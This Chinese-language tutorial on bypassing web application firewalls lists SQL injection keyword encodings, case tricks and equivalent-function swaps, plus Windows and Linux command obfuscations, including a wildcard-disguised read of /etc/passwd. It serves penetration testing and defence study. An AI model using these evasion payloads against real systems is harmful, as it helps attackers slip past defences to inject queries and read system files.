前言
一个安静的下午,和往常一样,逛着各大安全论坛,翻看新出的漏洞资讯,等待着下班。然而,一声不同寻常的微信消息提示音突然在我耳边响起。我立马打开微信看看是谁在这个时候找我。
妹子的要求不敢拒绝,身为菜鸡的我准备立马去学习一波waf绕过姿势。
知己知彼,了解什么是waf
身为一名合格的渗透测试人员,想要绕过waf,我们就先得先了解什么是waf。
Waf = Web Application Firewall ,web应用防火墙,简单来说就是在http协议层面对我们的数据包进行检测,如果发现了可能是带有攻击性的语句,就会进行拦截。
为了不让waf发现我们的意图,我们通常可以利用以下几种方式绕过waf检测
对抗规则绕过原理:匹配不到恶意语句就不会拦截。
对关键字进行不同编码
select * from zzz = select * from %257a%257a%257a //url编码
单引号 = %u0027、%u02b9、%u02bc // Unicode编码
adminuser = 0x61646D696E75736572 // 部分十六进制编码
空格 = %20 %09 %0a %0b %0c %0d %a0 //各类编码
对关键字进行大小写变换
Union select = uNIoN sELecT
通过其他语义相同的关键字替换
And = &&
Or = ||
等于 = like 或综合<与>判断
if(a,b,c) = case when(A) then B else C end
substr(str,1,1) = substr (str) from 1 for 1
limit 1,1 = limit 1 offset 1
Union select 1,2 = union select * from ((select 1)A join (select 2)B;
hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()
除了通过编码等价替换等方式绕过检测,我们还能配合目标特性实现绕过检测
配合Windows特性
whoami = ((((Wh^o^am””i)))) //利用符号分割字符执行whoami
whoami = set a=net&&b=user&&call %a%%b% //利用变量分割关键字执行whoami
set a=123whoami456 // 为了方便演示这里设置一个变量
echo %a:~3,6% // 取出变量a的第3位开始共计6个字符
%a:~3,6% //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测
配合Linux特性
whoami = w’h’o’a’m”i” //单引号或双引号连接符,需要闭合
Cat /etc/passwd = cat /?t*/??ss** //?,*通配符
whoami = /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符
Whoami = a=who&&b=ami&&$a$b //当然linux下也可以变量拼接